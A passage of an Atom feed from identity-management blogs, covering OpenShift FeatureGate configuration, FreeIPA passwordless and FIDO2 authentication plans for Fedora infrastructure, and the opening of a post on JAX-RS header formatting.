&lt;div class=&quot;sourceCode&quot; id=&quot;cb1&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb1-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; config.openshift.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; FeatureGate&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; cluster&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;featureSet&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; TechPreviewNoUpgrade&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;Unlike the more general &lt;code&gt;MachineConfig&lt;/code&gt; objects, &lt;code&gt;FeatureGate&lt;/code&gt;
objects do not get composed together. Only the single object name
&lt;code&gt;cluster&lt;/code&gt; is recognised. So there is no “lightweight” way to enable
all the feature gates from &lt;code&gt;TechPreviewNoUpgrade&lt;/code&gt; plus one or two
additional feature gates. To accomplish that, use a
&lt;code&gt;CustomNoUpgrade&lt;/code&gt; with &lt;strong&gt;all&lt;/strong&gt; the desired feature gates listed.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;enabling-specific-feature-gates&quot;&gt;Enabling specific feature gates &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#enabling-specific-feature-gates&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;What if the &lt;code&gt;TechPreviewNoUpgrade&lt;/code&gt; feature set does not include the
feature gate you want to enable? The &lt;code&gt;CustomNoUpgrade&lt;/code&gt; feature set
allows you to list the specific feature gates you want to enable or
disable. The following exmaple enables the
&lt;code&gt;UserNamespaceStatelessPodsSupport&lt;/code&gt; feature gate:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb2&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb2-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; config.openshift.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb2-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; FeatureGate&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb2-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb2-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; cluster&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb2-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb2-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;featureSet&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; CustomNoUpgrade&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb2-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;customNoUpgrade&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb2-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb2-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; UserNamespacesStatelessPodsSupport&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;applying-featuregate-changes&quot;&gt;Applying &lt;code&gt;FeatureGate&lt;/code&gt; changes &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#applying-featuregate-changes&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When you change &lt;code&gt;FeatureGate/cluster&lt;/code&gt;, new &lt;code&gt;MachineConfig&lt;/code&gt; objects
get generated containing updated configurations of the relevant
Kubernetes and OpenShift components (e.g. &lt;em&gt;kubelet&lt;/em&gt;). Machine
Config Operator will progressively update and restart the nodes in
the cluster, while ensuring availability.&lt;/p&gt;
&lt;p&gt;Let’s see an example. First, observe that all &lt;code&gt;MachineConfigPool&lt;/code&gt;s
are up to date (&lt;code&gt;ready&lt;/code&gt; count = machine &lt;code&gt;count&lt;/code&gt;):&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get MachineConfigPool -o json | jq --compact-output \
    '.items[] | { name: .metadata.name \
                , count: .status.machineCount \
                , ready: .status.readyMachineCount}'
{&amp;quot;name&amp;quot;:&amp;quot;master&amp;quot;,&amp;quot;count&amp;quot;:3,&amp;quot;ready&amp;quot;:3}
{&amp;quot;name&amp;quot;:&amp;quot;worker&amp;quot;,&amp;quot;count&amp;quot;:3,&amp;quot;ready&amp;quot;:3}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also observe that the &lt;code&gt;FeatureGate/cluster&lt;/code&gt; object does exist, but
its spec is empty (so the default feature gate settings are used):&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json FeatureGate/cluster | jq .spec
{}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now update the &lt;code&gt;FeatureGate/cluster&lt;/code&gt; object. Assume the
&lt;code&gt;CustomNoUpgrade&lt;/code&gt; configuration shown earlier resides in a file
named &lt;code&gt;featuregate-userns.yaml&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc replace -f featuregate-userns.yaml
featuregate.config.openshift.io/cluster replaced&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a few moments, Machine Config Operator will observe the new
configuration and start updating and restarting the nodes.
Initially, all pools have zero machines in state &lt;code&gt;ready&lt;/code&gt; (because
they all need updating):&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get MachineConfigPool -o json | jq --compact-output \
    '.items[] | { name: .metadata.name \
                , count: .status.machineCount \
                , ready: .status.readyMachineCount}'
{&amp;quot;name&amp;quot;:&amp;quot;master&amp;quot;,&amp;quot;count&amp;quot;:3,&amp;quot;ready&amp;quot;:0}
{&amp;quot;name&amp;quot;:&amp;quot;worker&amp;quot;,&amp;quot;count&amp;quot;:3,&amp;quot;ready&amp;quot;:0}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After some period of time (which will vary by cluster size), all the
nodes will have received the updated configuration and restarted.&lt;/p&gt;
&lt;p&gt;As for verifying that the updates were applied correctly, that will
depend on which gates are being enabled or disabled. It is out of
scope for this article. But in terms of &lt;em&gt;how&lt;/em&gt; to set feature flags
in OpenShift, I hope that this article has conveyed it clearly and
that it will be useful to others.&lt;/p&gt;
&lt;p&gt;For further detail, see the official OpenShift &lt;a href=&quot;https://docs.openshift.com/container-platform/4.12/nodes/clusters/nodes-cluster-enabling-features.html&quot;&gt;&lt;code&gt;FeatureGate&lt;/code&gt;
documentation&lt;/a&gt; and &lt;a href=&quot;https://docs.openshift.com/container-platform/4.12/rest_api/config_apis/featuregate-config-openshift-io-v1.html&quot;&gt;&lt;code&gt;FeatureGate&lt;/code&gt; object
schema&lt;/a&gt;.&lt;/p&gt;</content>
		<author>
			<name>Fraser Tweedale</name>
			<email>frase@frase.id.au</email>
			<uri>https://frasertweedale.github.io/blog-redhat</uri>
		</author>
		<source>
			<title type="html">Fraser's IdM Blog</title>
			<link rel="self" href="https://frasertweedale.github.io/blog-redhat/atom.xml"/>
			<id>https://frasertweedale.github.io/blog-redhat/atom.xml</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">FreeIPA authentication improvements and Fedora Infrastructure part 2</title>
		<link href="https://vda.li/en/posts/2022/10/28/FreeIPA-Authentication-Improvements-and-Fedora-Infra-2/"/>
		<id>https://vda.li/en/posts/2022/10/28/FreeIPA-Authentication-Improvements-and-Fedora-Infra-2/</id>
		<updated>2022-10-28T06:50:00+00:00</updated>
		<content type="html">&lt;p&gt;This article continues the &lt;a href=&quot;https://vda.li/en/en/posts/2022/10/28/FreeIPA-Authentication-Improvements-and-Fedora-Infra/&quot;&gt;discussion&lt;/a&gt;
about FreeIPA authentication improvements and how they could benefit Fedora
Infrastructure.&lt;/p&gt;

&lt;p&gt;FreeIPA 4.9.10 has added support for &lt;a href=&quot;https://freeipa.readthedocs.io/en/latest/workshop/12-external-idp-support.html&quot;&gt;relaying
authentication&lt;/a&gt;
to OAuth2 identity providers (IdPs). Users would get their access to FreeIPA
resources mediated by an external OAuth2 identity provider which supports OAuth2
device authorization grant flow (RFC 8628). This is not too dissimilar from how
smart TVs connect to Youtube and other media services on your behalf. A user
would be able to grant access to a scoped information to a FreeIPA OAuth2 client
registered with such IdP. In order to authorize the access, the user might need
to login to the IdP first and this is performed with the help of a browser
running elsewhere. Most common browsers do have support for Webauthn/FIDO2
tokens, thus it is possible to build a system where a login to FreeIPA-enrolled
system is authenticated by the FIDO2 token exclusively.&lt;/p&gt;

&lt;p&gt;Based on the result of the external IdP authorization grant, FreeIPA would then
issue a Kerberos ticket to the user. The ticket can then be used for single
sign-on across all FreeIPA services.&lt;/p&gt;

&lt;p&gt;The functionality to authenticate against an external IdP is already available
in Fedora 36 versions of FreeIPA and SSSD. It is also available in RHEL 8.7 and
9.1 beta versions published in late September 2022.&lt;/p&gt;

&lt;p&gt;Relying on an external identity provider to authenticate your FreeIPA users
would also mean rethinking the relationship between the IdP and the FreeIPA
deployment. Typically, when people integrated FreeIPA with OAuth2 or SAML
identity providers, an assumption was made that user authentication is handled
by the FreeIPA servers and identity provider issues a token for a web
application. Turning this situation around means FreeIPA only becomes a user
data store – maybe even not the data store for the IdP itself. IdP would only
need to know about the user identity from its own point of view while FreeIPA
would have a POSIX identity of the same user, consumed by other applications.
Whether it is visible through the IdP grants or via POSIX interfaces is more of
an application implementation detail. Decoupling these details leads to a bit of
duplication, of course, but allows for better flexibility. A user might come
from a federated source and have their authentication handled by a different
identity provider – their public service provider like Google, Github, Gitlab,
or Microsoft Azure. Or Facebook and any other social media.&lt;/p&gt;

&lt;p&gt;All this, however, would mean a change to the way Fedora Accounts system
and Fedora IdP, Ipsilon, interact with each other. Right now Ipsilon
sources accounts information from the FreeIPA instance directly and
delegates authentication to it as well (though PAM service provided by
SSSD). Fedora Accounts system, in its turn, manages passwords and tokens
in the FreeIPA instance. Since FreeIPA does not have support for
Webauthn/FIDO2 web-based authentication yet, Ipsilon would need to
manage that itself. So some user accounts would need to source their
authentication details from FreeIPA and some would need to use Ipsilon’s
internal source. That is a bit complicated as Ipsilon has no way to
combine data sources.&lt;/p&gt;

&lt;p&gt;Ipsilon does not have any support for both OAuth2 device authorization
grant flow and Webauthn/FIDO2 tokens. Even if the FreeIPA instance used
by both Fedora project and CentOS project would be updated to provide
external IdP authentication, the Ipsilon instance would not be able to
utilize this new feature.&lt;/p&gt;

&lt;p&gt;Another alternative would be to use Keycloak (free software project upon which
Red Hat Single Sign-On product is built). Keycloak 21 is adding multiple user
stores support and the FreeIPA team works on &lt;a href=&quot;https://github.com/justin-stephenson/scim-keycloak-user-storage-spi&quot;&gt;a new
provider&lt;/a&gt;
to utilize it. This new Keycloak user store plugin supports SCIM v2 API and also
needs a &lt;a href=&quot;https://github.com/freeipa/ipa-tuura&quot;&gt;new FreeIPA application&lt;/a&gt; that
abstracts out access to FreeIPA resources as a SCIM v2 API. In the end, it is
the same SSSD as a backend as in case of the Ipsilon IdP but with the ability to
split the data store across multiple sources. Keycloak already has support for
both OAuth2 device authorization grant flow and the Webauthn/FIDO2 tokens. How
this all works together is shown in our &lt;a href=&quot;https://www.youtube.com/watch?v=NorXJN3tw3Q&amp;list=PL0x39xti0_65yq9EuNtSLts0qm9_T-YiI&amp;index=34&quot;&gt;&lt;em&gt;Nest with Fedora 2022
talk&lt;/em&gt;&lt;/a&gt;.
Talk slides can be &lt;a href=&quot;https://vda.li/talks/2022/2022-Nest-With-Fedora-FreeIPA-and-OAuth2.pdf&quot;&gt;found here&lt;/a&gt;
but the video includes a live demo session.&lt;/p&gt;

&lt;p&gt;On mobile devices front, both Google and Apple are gearing towards introduction
of software tokens for Webauthn/FIDO2, often called ‘passkeys’ in the
user-oriented marketing materials. These passkeys effectively shared across
devices where a user is logged in and uses a shared password wallet. The Google
Security team &lt;a href=&quot;https://security.googleblog.com/2022/10/SecurityofPasskeysintheGooglePasswordManager.html&quot;&gt;goes at
length&lt;/a&gt;
explaining why this is secure, although some researchers &lt;a href=&quot;https://medium.com/@arkenoi/what-is-wrong-with-apple-passkeys-1d044072c5a3&quot;&gt;aren’t
convinced&lt;/a&gt;
(this is more about Apple implementation, though).&lt;/p&gt;

&lt;p&gt;Consuming software tokens stored in a mobile device from a computer for
authentication would need additional support from the identity providers.
Neither Ipsilon nor Keycloak implement that. For native Android applications
&lt;a href=&quot;https://android-developers.googleblog.com/2022/10/bringing-passkeys-to-android-and-chrome.html&quot;&gt;Google just announced&lt;/a&gt;
they’ll provide an API in what remains of 2022.&lt;/p&gt;

&lt;p&gt;Finally, going outside of Fedora Project’s infrastructure, supporting
Webauthn/FIDO2 to login to Linux servers and desktops in a centrally
managed way is still not there.&lt;/p&gt;

&lt;p&gt;Both FreeIPA and SSSD teams are working on a more direct integration
with FIDO2 tokens. Instead of relying on an OAuth2 identity provider to
handle Webauthn/FIDO2 operations in the browser, SSSD is integrating
with libfido2 library to make FIDO2 token’s use on the machine locally.
This would replace the pam_u2f module and would allow FreeIPA to provide
centralized management of the FIDO2-based passkeys. On top of that,
FreeIPA will provide Kerberos integration: login with the FIDO2 token
would be turned into a Kerberos ticket and single sign-on operations
would be ensured across multiple services, like it is done today for
traditional Kerberos pre-authentication methods. A benefit is that
passwords can be completely removed for the users with direct FIDO2
token enrollment.&lt;/p&gt;

&lt;p&gt;FreeIPA-enrolled clients (Fedora 36+, RHEL 8.7/9.1 betas) already can login via
external IdP as outlined above but only for the SSH or a direct console login.
Login over graphical desktop is not working well: a message telling to visit an
IdP page and authorize the device access does not fit into a gdm login entry
which is used to show the message coming from the PAM stack. GDM is also not
able to go to that URL directly as there is still no support for opening a
browser instance pre-login in GNOME or any other desktop manager. We are looking
at implementing this with GNOME developers similar to how a smartcard selection
was added in 2017. Hopefully, this will come to one of the next Fedora versions
…&lt;/p&gt;

&lt;p&gt;Notwithstanding open issues, we are pretty much close to enabling
FreeIPA-enrolled Linux systems to go passwordless. It is not yet a year
of passwordless Linux like not a year of Linux on the desktop but making
it reality is not that far away. Perhaps I am too optimistic, though –
like we were all before with Linux on the desktop.&lt;/p&gt;</content>
		<author>
			<name>Alexander Bokovoy</name>
			<uri>https://vda.li/en/</uri>
		</author>
		<source>
			<title type="html">Far away to be identical</title>
			<subtitle type="html">Identity management chaos or a development of a fun</subtitle>
			<link rel="self" href="https://vda.li/en/freeipa.xml"/>
			<id>https://vda.li/en/freeipa.xml</id>
			<updated>2026-05-10T07:26:10+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">FreeIPA authentication improvements and Fedora Infrastructure part 1</title>
		<link href="https://vda.li/en/posts/2022/10/28/FreeIPA-Authentication-Improvements-and-Fedora-Infra/"/>
		<id>https://vda.li/en/posts/2022/10/28/FreeIPA-Authentication-Improvements-and-Fedora-Infra/</id>
		<updated>2022-10-28T05:50:00+00:00</updated>
		<content type="html">&lt;p&gt;The Fedora project exists because of its contributors. Their contributions shape
the landscape of Linux distributions in a direct way but they also have made a
significant influence on the Open Source projects themselves. Fedora
contributors are not only people who participate in package maintenance, there
are upstream developers, documentation writers, quality assurance engineers
across multiple industries, students, volunteers and many many others. As with
many other areas, this participation is bi-directional and practices established
in the Fedora project may apply elsewhere too.&lt;/p&gt;

&lt;p&gt;One area dear to me is authentication. The FreeIPA project serves as an umbrella
to provide a consistent centralized identity management and authentication
solution for Linux systems (in the first place, though standards-compliant,
UNIX-like operating systems benefit from its use as well). FreeIPA’s core is
built around Kerberos authentication protocol and SSSD daemon. It makes use of
Kerberos’ features for single sign-on ease on the client side.&lt;/p&gt;

&lt;p&gt;Many Free Software and Open Source projects use FreeIPA to deploy centralized
identity management, authentication and authorization for their own
contributors. Examples can be found small and large: GNOME project was one of
the earliest, &lt;a href=&quot;https://mail.gnome.org/archives/infrastructure-announce/2014-October/msg00001.html&quot;&gt;&lt;em&gt;migrating its infrastructure&lt;/em&gt;&lt;/a&gt;
to FreeIPA in 2014. The Fedora project is not an exception, it has been using
FreeIPA for quite some time, though FreeIPA deployment was only handling
Kerberos – user accounts were stored in a different place and synchronized with
FreeIPA. The old Fedora account system was gradually rewritten to be built on
top of FreeIPA and in 2021 all accounts were migrated to the new system.&lt;/p&gt;

&lt;p&gt;Fedora accounts system allows users to login with a password and
optionally to use two-factor authentication with the help of TOTP
tokens. Users can also associate GnuPG or SSH public keys with
themselves. These details get consumed by various Fedora applications
but there are several important use cases:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Issue Kerberos ticket which can be used to authenticate against a
build system used by Fedora&lt;/li&gt;
  &lt;li&gt;Access servers over SSH protocol, with Kerberos tickets or SSH keys&lt;/li&gt;
  &lt;li&gt;Use Kerberos ticket or authenticate with password to Fedora
Project’s identity provider and authorize Fedora applications to
access user data.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;FreeIPA supports more authentication methods in its Kerberos implementation but
they aren’t used by the Fedora project. On the other hand, the CentOS Project
shares its FreeIPA instance with Fedora and uses certificates issued by the
FreeIPA CA for its authentication. These certificates can be used to obtain
Kerberos tickets as well. For both projects this FreeIPA instance is maintained
by the Community Platform Engineering team who looks after both communities’
needs.&lt;/p&gt;

&lt;p&gt;Since the Fedora Project is an important gateway to Red Hat Enterprise Linux,
many Fedora contributors were recently raising security concerns around secure
software delivery and asking how we can improve authentication and authorization
for Fedora infrastructure. For gory details, &lt;a href=&quot;https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/thread/UG3UOKBVJLUWZYEHWL52KPMITPEPEBNF/&quot;&gt;&lt;em&gt;the
thread&lt;/em&gt;&lt;/a&gt;
about removing access of inactive packagers after Fedora 37 release has a
&lt;a href=&quot;https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/message/42GIRNMSLPVU7AUMAJZRIYKAR7Y5S3PY/&quot;&gt;&lt;em&gt;few&lt;/em&gt;&lt;/a&gt;
&lt;a href=&quot;https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/message/AB2X2SMKVEZBW4XLUMGIMLMB2YFB3HT4/&quot;&gt;&lt;em&gt;examples&lt;/em&gt;&lt;/a&gt;.
A common agreement is that use of Webauthn and FIDO2 tokens &lt;a href=&quot;https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/message/3FIMWGN233AFMPPYSRNSLQKYYRPHUNGC/&quot;&gt;&lt;em&gt;would definitely
improve the security&lt;/em&gt;&lt;/a&gt;,
especially coupled with the prevention of an authentication methods’ downgrades.&lt;/p&gt;

&lt;p&gt;Moving to Webauthn/FIDO2 would probably be relatively easy if every single
application to access in the Fedora infrastructure would be a web-based. For
example, OAuth2 clients could be forced to operate on specific scopes of the
user data which would only be granted if strong authentication methods were used
to authenticate. For SSH-based access it would also be possible to get SSH keys
based on a native FIDO2 support in OpenSSH and prevent use of other key types.
However, a single sign-on functionality would be lost then as currently it is
not possible to convert SSH public key access to Kerberos tickets nor is it
possible to use FIDO2 keys natively in Kerberos flows.&lt;/p&gt;

&lt;p&gt;Use of FIDO2 tokens introduces another problem, though, this time a social one.
Fedora Project is famous for its wide contributor base, spanning many countries
and continents. Fedora Project contributors come from all kinds of backgrounds
and so far the only requirement to enable their contributions from a technical
point of view was internet access. Even enforcement of the two-factor
authentication with the help of TOTP tokens could have been mitigated by use of
a software token on a mobile device or simulated on a computer. In many
countries access to mobile devices is easier than to any hardware token. It is
still a cost and somebody has to pay for it. The cheapest FIDO2 token is around
10 EUR, although a single token can be used against many resources (websites).
There is a cost to enforce stronger authentication methods and somebody would
need to pay it if the Fedora project chooses to raise the requirements. Perhaps,
companies benefiting from the secure software development processes around
Fedora distribution would be willing to step up?&lt;/p&gt;

&lt;p&gt;In &lt;a href=&quot;https://vda.li/en/posts/2022/10/28/FreeIPA-Authentication-Improvements-and-Fedora-Infra-2/&quot;&gt;the next article&lt;/a&gt;
I will look at how FreeIPA could help with the technical side of supporting
Webauthn/FIDO2 use by Fedora contributors.&lt;/p&gt;</content>
		<author>
			<name>Alexander Bokovoy</name>
			<uri>https://vda.li/en/</uri>
		</author>
		<source>
			<title type="html">Far away to be identical</title>
			<subtitle type="html">Identity management chaos or a development of a fun</subtitle>
			<link rel="self" href="https://vda.li/en/freeipa.xml"/>
			<id>https://vda.li/en/freeipa.xml</id>
			<updated>2026-05-10T07:26:10+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Controlling header formatting in JAX-RS applications</title>
		<link href="https://frasertweedale.github.io/blog-redhat/posts/2022-08-29-jax-rs-header-formatting.html"/>
		<id>https://frasertweedale.github.io/blog-redhat/posts/2022-08-29-jax-rs-header-formatting.html</id>
		<updated>2022-08-29T00:00:00+00:00</updated>
		<content type="html">&lt;h1 id=&quot;controlling-header-formatting-in-jax-rs-applications&quot;&gt;Controlling header formatting in JAX-RS applications&lt;/h1&gt;
&lt;p&gt;I’m been implementing an &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc7030&quot;&gt;&lt;em&gt;Enrollment over Secure Transport
(EST)&lt;/em&gt;&lt;/a&gt; service in Dogtag PKI. During testing, I found
that a notable client implementation parses the response
&lt;code&gt;Content-Type&lt;/code&gt; header in the following way:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb1&quot;&gt;&lt;pre class=&quot;sourceCode c&quot;&gt;&lt;code class=&quot;sourceCode c&quot;&gt;&lt;span id=&quot;cb1-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;cf&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;(!&lt;/span&gt;strncmp&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    multipart_get_data_content_type&lt;span class=&quot;op&quot;&gt;(&lt;/span&gt;parser&lt;span class=&quot;op&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;st&quot;&gt;&amp;quot;application/pkcs7-mime; smime-type=certs-only&amp;quot;&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;dv&quot;&gt;45&lt;/span&gt;&lt;span class=&quot;op&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;  &lt;span class=&quot;op&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;op&quot;&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The Dogtag EST service is a &lt;a href=&quot;https://projects.eclipse.org/projects/ee4j.rest&quot;&gt;&lt;em&gt;Jakarta RESTful Web Services
(JAX-RS)&lt;/em&gt;&lt;/a&gt; application. It produces a &lt;code&gt;Content-Type&lt;/code&gt; header
value different from what the client expects (note the lack of
whitespace):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;application/pkcs7-mime;smime-type=certs-only&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As a consequence, the EST client fails to process the response.
This is certainly a defect in the EST client implementation. But
EST is used by many embedded or hard to update network devices. Or
updates might not be available (now, &lt;em&gt;ever?&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;So, I needed to find a way to override the header default header
formatting. This blog post describes my solution.&lt;/p&gt;
&lt;h2 id=&quot;specifying-the-content-type-header&quot;&gt;Specifying the &lt;code&gt;Content-Type&lt;/code&gt; header &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#specifying-the-content-type-header&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
